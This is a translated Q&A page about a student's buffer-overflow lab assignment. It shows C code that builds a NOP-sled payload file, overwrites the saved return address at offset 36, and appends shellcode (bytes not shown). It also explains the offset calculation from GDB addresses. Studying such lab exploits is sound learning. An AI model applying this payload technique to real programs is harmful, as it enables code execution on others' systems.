利用BOF在C?

问题描述 投票:0回答:1
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    *((long *) (buffer + 36)) = 0xffffce78 + 0x80;

    memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我只是在做我的BOF任务,现在我知道了两件事情来执行BOF。

1,指令指针的地址,以便指向我的shellcode

2,我的shell代码的地址。

缓冲区地址是用C GDB和0xffffce28 0xffffce78,$ EBP点0xffffce48。因此,要获得EIP的地址,0xffffce48 - 0xffffce28 + 4 = 36。但是存储我的外壳代码地址,0xffffce78,在缓冲区+ 36升高非法指令(核心转储),但加入0x80与缓冲区地址的工作,为什么?

c memory-address buffer-overflow
1个回答
0
投票

由于壳的代码是在缓冲器的末端。第一个指令试图执行的是EIP值,*((long *) (buffer + 36)) = 0xffffce78 + 0x80;所以这不是一个合法的指令。

© www.soinside.com 2019 - 2024. All rights reserved.